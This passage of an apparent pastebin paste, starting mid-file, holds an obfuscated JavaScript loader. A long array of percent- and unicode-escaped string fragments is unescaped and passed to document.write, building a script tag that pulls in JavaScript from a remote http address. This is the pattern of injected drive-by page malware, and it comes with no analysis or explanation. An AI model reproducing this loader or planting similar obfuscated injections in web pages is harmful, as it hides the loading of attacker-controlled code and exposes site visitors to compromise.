  4767. fF7eSD8[14]="9%255Cu0070%255Cu";
  4768. fF7eSD8[15]="0065%255Cu003d%25";
  4769. fF7eSD8[16]="5Cu0022%255Cu0";
  4770. fF7eSD8[17]="074%255Cu0065%255C";
  4771. fF7eSD8[18]="u0078%255Cu0074%25";
  4772. fF7eSD8[19]="5Cu002f%255Cu";
  4773. fF7eSD8[20]="006a%255Cu0061%255";
  4774. fF7eSD8[21]="Cu0076%255Cu0";
  4775. fF7eSD8[22]="061%255Cu0073%25";
  4776. fF7eSD8[23]="5Cu0063%255Cu00";
  4777. fF7eSD8[24]="72%255Cu0069%25";
  4778. fF7eSD8[25]="5Cu0070%255Cu";
  4779. fF7eSD8[26]="0074%255Cu0022";
  4780. fF7eSD8[27]="%255Cu003e%255C";
  4781. fF7eSD8[28]="u0064%255Cu00";
  4782. fF7eSD8[29]="6f%255Cu0063%255C";
  4783. fF7eSD8[30]="u0075%255Cu006";
  4784. fF7eSD8[31]="d%255Cu0065%255Cu";
  4785. fF7eSD8[32]="006e%255Cu0074%255";
  4786. fF7eSD8[33]="Cu002e%255Cu00";
  4787. fF7eSD8[34]="77%255Cu0072%25";
  4788. fF7eSD8[35]="5Cu0069%255Cu";
  4789. fF7eSD8[36]="0074%255Cu0065%25";
  4790. fF7eSD8[37]="5Cu0028%255Cu002";
  4791. fF7eSD8[38]="7%255Cu005c%255Cu";
  4792. fF7eSD8[39]="0075%255Cu0030";
  4793. fF7eSD8[40]="%255Cu0030%255Cu0";
  4794. fF7eSD8[41]="033%255Cu0063%25";
  4795. fF7eSD8[42]="5Cu005c%255Cu007";
  4796. fF7eSD8[43]="5%255Cu0030%255Cu";
  4797. fF7eSD8[44]="0030%255Cu0035";
  4798. fF7eSD8[45]="%255Cu0033%255C";
  4799. fF7eSD8[46]="u005c%255Cu0075";
  4800. fF7eSD8[47]="%255Cu0030%255Cu";
  4801. fF7eSD8[48]="0030%255Cu003";
  4802. fF7eSD8[49]="4%255Cu0033%255";
  4803. fF7eSD8[50]="Cu005c%255Cu007";
  4804. fF7eSD8[51]="5%255Cu0030%255Cu";
  4805. fF7eSD8[52]="0030%255Cu0035%255";
  4806. fF7eSD8[53]="Cu0032%255Cu00";
  4807. fF7eSD8[54]="5c%255Cu0075%255C";
  4808. fF7eSD8[55]="u0030%255Cu0030%25";
  4809. fF7eSD8[56]="5Cu0034%255Cu00";
  4810. fF7eSD8[57]="39%255Cu005c%255Cu";
  4811. fF7eSD8[58]="0075%255Cu0030%255";
  4812. fF7eSD8[59]="Cu0030%255Cu003";
  4813. fF7eSD8[60]="5%255Cu0030%255C";
  4814. fF7eSD8[61]="u005c%255Cu0075";
  4815. fF7eSD8[62]="%255Cu0030%255Cu00";
  4816. fF7eSD8[63]="30%255Cu0035%255";
  4817. fF7eSD8[64]="Cu0034%255Cu005";
  4818. fF7eSD8[65]="c%255Cu0075%255C";
  4819. fF7eSD8[66]="u0030%255Cu0030%25";
  4820. fF7eSD8[67]="5Cu0032%255Cu";
  4821. fF7eSD8[68]="0030%255Cu005c%25";
  4822. fF7eSD8[69]="5Cu0075%255Cu00";
  4823. fF7eSD8[70]="30%255Cu0030%255";
  4824. fF7eSD8[71]="Cu0035%255Cu003";
  4825. fF7eSD8[72]="3%255Cu005c%255Cu0";
  4826. fF7eSD8[73]="075%255Cu0030";
  4827. fF7eSD8[74]="%255Cu0030%255Cu00";
  4828. fF7eSD8[75]="35%255Cu0032%25";
  4829. fF7eSD8[76]="5Cu005c%255Cu00";
  4830. fF7eSD8[77]="75%255Cu0030%255Cu";
  4831. fF7eSD8[78]="0030%255Cu003";
  4832. fF7eSD8[79]="4%255Cu0033%255Cu";
  4833. fF7eSD8[80]="005c%255Cu0075%25";
  4834. fF7eSD8[81]="5Cu0030%255Cu";
  4835. fF7eSD8[82]="0030%255Cu0033";
  4836. fF7eSD8[83]="%255Cu0064%255Cu0";
  4837. fF7eSD8[84]="05c%255Cu0075%25";
  4838. fF7eSD8[85]="5Cu0030%255Cu003";
  4839. fF7eSD8[86]="0%255Cu0036%255";
  4840. fF7eSD8[87]="Cu0038%255Cu0";
  4841. fF7eSD8[88]="05c%255Cu0075%255C";
  4842. fF7eSD8[89]="u0030%255Cu003";
  4843. fF7eSD8[90]="0%255Cu0037%255C";
  4844. fF7eSD8[91]="u0034%255Cu005c%25";
  4845. fF7eSD8[92]="5Cu0075%255Cu";
  4846. fF7eSD8[93]="0030%255Cu0030";
  4847. fF7eSD8[94]="%255Cu0037%255Cu";
  4848. fF7eSD8[95]="0034%255Cu005c%25";
  4849. fF7eSD8[96]="5Cu0075%255Cu00";
  4850. fF7eSD8[97]="30%255Cu0030%255Cu";
  4851. fF7eSD8[98]="0037%255Cu0030%255";
  4852. fF7eSD8[99]="Cu005c%255Cu00";
  4853. fF7eSD8[100]="75%255Cu0030%255";
  4854. fF7eSD8[101]="Cu0030%255Cu00";
  4855. fF7eSD8[102]="33%255Cu0061%255Cu";
  4856. fF7eSD8[103]="005c%255Cu0075";
  4857. fF7eSD8[104]="%255Cu0030%255C";
  4858. fF7eSD8[105]="u0030%255Cu0032%25";
  4859. fF7eSD8[106]="5Cu0066%255Cu00";
  4860. fF7eSD8[107]="5c%255Cu0075%255Cu";
  4861. fF7eSD8[108]="0030%255Cu0030%25";
  4862. fF7eSD8[109]="5Cu0032%255Cu0";
  4863. fF7eSD8[110]="066%255Cu005c";
  4864. fF7eSD8[111]="%255Cu0075%255Cu";
  4865. fF7eSD8[112]="0030%255Cu0030%25";
  4866. fF7eSD8[113]="5Cu0036%255Cu003";
  4867. fF7eSD8[114]="4%255Cu005c%255C";
  4868. fF7eSD8[115]="u0075%255Cu003";
  4869. fF7eSD8[116]="0%255Cu0030%255C";
  4870. fF7eSD8[117]="u0036%255Cu00";
  4871. fF7eSD8[118]="31%255Cu005c%255";
  4872. fF7eSD8[119]="Cu0075%255Cu00";
  4873. fF7eSD8[120]="30%255Cu0030%255Cu";
  4874. fF7eSD8[121]="0037%255Cu0034";
  4875. fF7eSD8[122]="%255Cu005c%255Cu00";
  4876. fF7eSD8[123]="75%255Cu0030%255C";
  4877. fF7eSD8[124]="u0030%255Cu003";
  4878. fF7eSD8[125]="6%255Cu0031%255";
  4879. fF7eSD8[126]="Cu005c%255Cu007";
  4880. fF7eSD8[127]="5%255Cu0030%255";
  4881. fF7eSD8[128]="Cu0030%255Cu0";
  4882. fF7eSD8[129]="032%255Cu0065";
  4883. fF7eSD8[130]="%255Cu005c%255C";
  4884. fF7eSD8[131]="u0075%255Cu0030%25";
  4885. fF7eSD8[132]="5Cu0030%255Cu003";
  4886. fF7eSD8[133]="7%255Cu0034%255Cu0";
  4887. fF7eSD8[134]="05c%255Cu0075%255C";
  4888. fF7eSD8[135]="u0030%255Cu00";
  4889. fF7eSD8[136]="30%255Cu0033%255C";
  4890. fF7eSD8[137]="u0030%255Cu005";
  4891. fF7eSD8[138]="c%255Cu0075%255Cu";
  4892. fF7eSD8[139]="0030%255Cu003";
  4893. fF7eSD8[140]="0%255Cu0033%255C";
  4894. fF7eSD8[141]="u0030%255Cu005";
  4895. fF7eSD8[142]="c%255Cu0075%255";
  4896. fF7eSD8[143]="Cu0030%255Cu0";
  4897. fF7eSD8[144]="030%255Cu0036%255C";
  4898. fF7eSD8[145]="u0063%255Cu005c";
  4899. fF7eSD8[146]="%255Cu0075%255C";
  4900. fF7eSD8[147]="u0030%255Cu00";
  4901. fF7eSD8[148]="30%255Cu0037%25";
  4902. fF7eSD8[149]="5Cu0033%255Cu00";
  4903. fF7eSD8[150]="5c%255Cu0075%255";
  4904. fF7eSD8[151]="Cu0030%255Cu00";
  4905. fF7eSD8[152]="30%255Cu0032%255";
  4906. fF7eSD8[153]="Cu0065%255Cu005c";
  4907. fF7eSD8[154]="%255Cu0075%255C";
  4908. fF7eSD8[155]="u0030%255Cu00";
  4909. fF7eSD8[156]="30%255Cu0036%255Cu";
  4910. fF7eSD8[157]="0066%255Cu005c%255";
  4911. fF7eSD8[158]="Cu0075%255Cu00";
  4912. fF7eSD8[159]="30%255Cu0030%255Cu";
  4913. fF7eSD8[160]="0037%255Cu0032%25";
  4914. fF7eSD8[161]="5Cu005c%255Cu007";
  4915. fF7eSD8[162]="5%255Cu0030%255C";
  4916. fF7eSD8[163]="u0030%255Cu0036%25";
  4917. fF7eSD8[164]="5Cu0037%255Cu00";
  4918. fF7eSD8[165]="5c%255Cu0075%255";
  4919. fF7eSD8[166]="Cu0030%255Cu0030";
  4920. fF7eSD8[167]="%255Cu0032%255Cu00";
  4921. fF7eSD8[168]="66%255Cu005c%255";
  4922. fF7eSD8[169]="Cu0075%255Cu0";
  4923. fF7eSD8[170]="030%255Cu0030%255C";
  4924. fF7eSD8[171]="u0037%255Cu0037";
  4925. fF7eSD8[172]="%255Cu005c%255Cu";
  4926. fF7eSD8[173]="0075%255Cu0030%25";
  4927. fF7eSD8[174]="5Cu0030%255Cu";
  4928. fF7eSD8[175]="0036%255Cu0038%255";
  4929. fF7eSD8[176]="Cu005c%255Cu007";
  4930. fF7eSD8[177]="5%255Cu0030%255";
  4931. fF7eSD8[178]="Cu0030%255Cu0036";
  4932. fF7eSD8[179]="%255Cu0035%255Cu00";
  4933. fF7eSD8[180]="5c%255Cu0075%255Cu";
  4934. fF7eSD8[181]="0030%255Cu003";
  4935. fF7eSD8[182]="0%255Cu0037%255C";
  4936. fF7eSD8[183]="u0032%255Cu00";
  4937. fF7eSD8[184]="5c%255Cu0075%255";
  4938. fF7eSD8[185]="Cu0030%255Cu0";
  4939. fF7eSD8[186]="030%255Cu0036%25";
  4940. fF7eSD8[187]="5Cu0035%255Cu0";
  4941. fF7eSD8[188]="05c%255Cu0075";
  4942. fF7eSD8[189]="%255Cu0030%255Cu0";
  4943. fF7eSD8[190]="030%255Cu0032";
  4944. fF7eSD8[191]="%255Cu0065%255Cu";
  4945. fF7eSD8[192]="005c%255Cu0075";
  4946. fF7eSD8[193]="%255Cu0030%255Cu00";
  4947. fF7eSD8[194]="30%255Cu0036%25";
  4948. fF7eSD8[195]="5Cu0061%255Cu";
  4949. fF7eSD8[196]="005c%255Cu007";
  4950. fF7eSD8[197]="5%255Cu0030%255";
  4951. fF7eSD8[198]="Cu0030%255Cu0037";
  4952. fF7eSD8[199]="%255Cu0033%255Cu0";
  4953. fF7eSD8[200]="05c%255Cu0075%255C";
  4954. fF7eSD8[201]="u0030%255Cu00";
  4955. fF7eSD8[202]="30%255Cu0033%255Cu";
  4956. fF7eSD8[203]="0065%255Cu005";
  4957. fF7eSD8[204]="c%255Cu0075%255Cu";
  4958. fF7eSD8[205]="0030%255Cu0030%25";
  4959. fF7eSD8[206]="5Cu0033%255Cu00";
  4960. fF7eSD8[207]="63%255Cu005c%255C";
  4961. fF7eSD8[208]="u0075%255Cu0030";
  4962. fF7eSD8[209]="%255Cu0030%255Cu0";
  4963. fF7eSD8[210]="032%255Cu0066%255";
  4964. fF7eSD8[211]="Cu005c%255Cu0";
  4965. fF7eSD8[212]="075%255Cu0030%25";
  4966. fF7eSD8[213]="5Cu0030%255Cu";
  4967. fF7eSD8[214]="0035%255Cu0033%255";
  4968. fF7eSD8[215]="Cu005c%255Cu007";
  4969. fF7eSD8[216]="5%255Cu0030%255Cu0";
  4970. fF7eSD8[217]="030%255Cu0034%255";
  4971. fF7eSD8[218]="Cu0033%255Cu00";
  4972. fF7eSD8[219]="5c%255Cu0075%25";
  4973. fF7eSD8[220]="5Cu0030%255Cu0";
  4974. fF7eSD8[221]="030%255Cu0035";
  4975. fF7eSD8[222]="%255Cu0032%255Cu0";
  4976. fF7eSD8[223]="05c%255Cu0075";
  4977. fF7eSD8[224]="%255Cu0030%255Cu";
  4978. fF7eSD8[225]="0030%255Cu0034%25";
  4979. fF7eSD8[226]="5Cu0039%255Cu0";
  4980. fF7eSD8[227]="05c%255Cu0075%25";
  4981. fF7eSD8[228]="5Cu0030%255Cu";
  4982. fF7eSD8[229]="0030%255Cu0035%25";
  4983. fF7eSD8[230]="5Cu0030%255Cu";
  4984. fF7eSD8[231]="005c%255Cu0075%255";
  4985. fF7eSD8[232]="Cu0030%255Cu0";
  4986. fF7eSD8[233]="030%255Cu0035";
  4987. fF7eSD8[234]="%255Cu0034%255Cu0";
  4988. fF7eSD8[235]="05c%255Cu0075";
  4989. fF7eSD8[236]="%255Cu0030%255Cu";
  4990. fF7eSD8[237]="0030%255Cu0033%255";
  4991. fF7eSD8[238]="Cu0065%255Cu0";
  4992. fF7eSD8[239]="027%255Cu0029";
  4993. fF7eSD8[240]="%255Cu003c%255C";
  4994. fF7eSD8[241]="u002f%255Cu0073%25";
  4995. fF7eSD8[242]="5Cu0063%255Cu007";
  4996. fF7eSD8[243]="2%255Cu0069%255Cu";
  4997. fF7eSD8[244]="0070%255Cu007";
  4998. fF7eSD8[245]="4%255Cu003e%2527%25";
  4999. fF7eSD8[246]="29%253C/script%25";
  5000. fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
  5001. fF7eSD8[248]="pt%3E";
  5002. for (i = 0; i < fF7eSD8.length; i ++)
  5003. {
  5004.     document.write(unescape(fF7eSD8[i]))
  5005. }
  5006. // -->
  5007. </script>
create a new version of this paste RAW Paste Data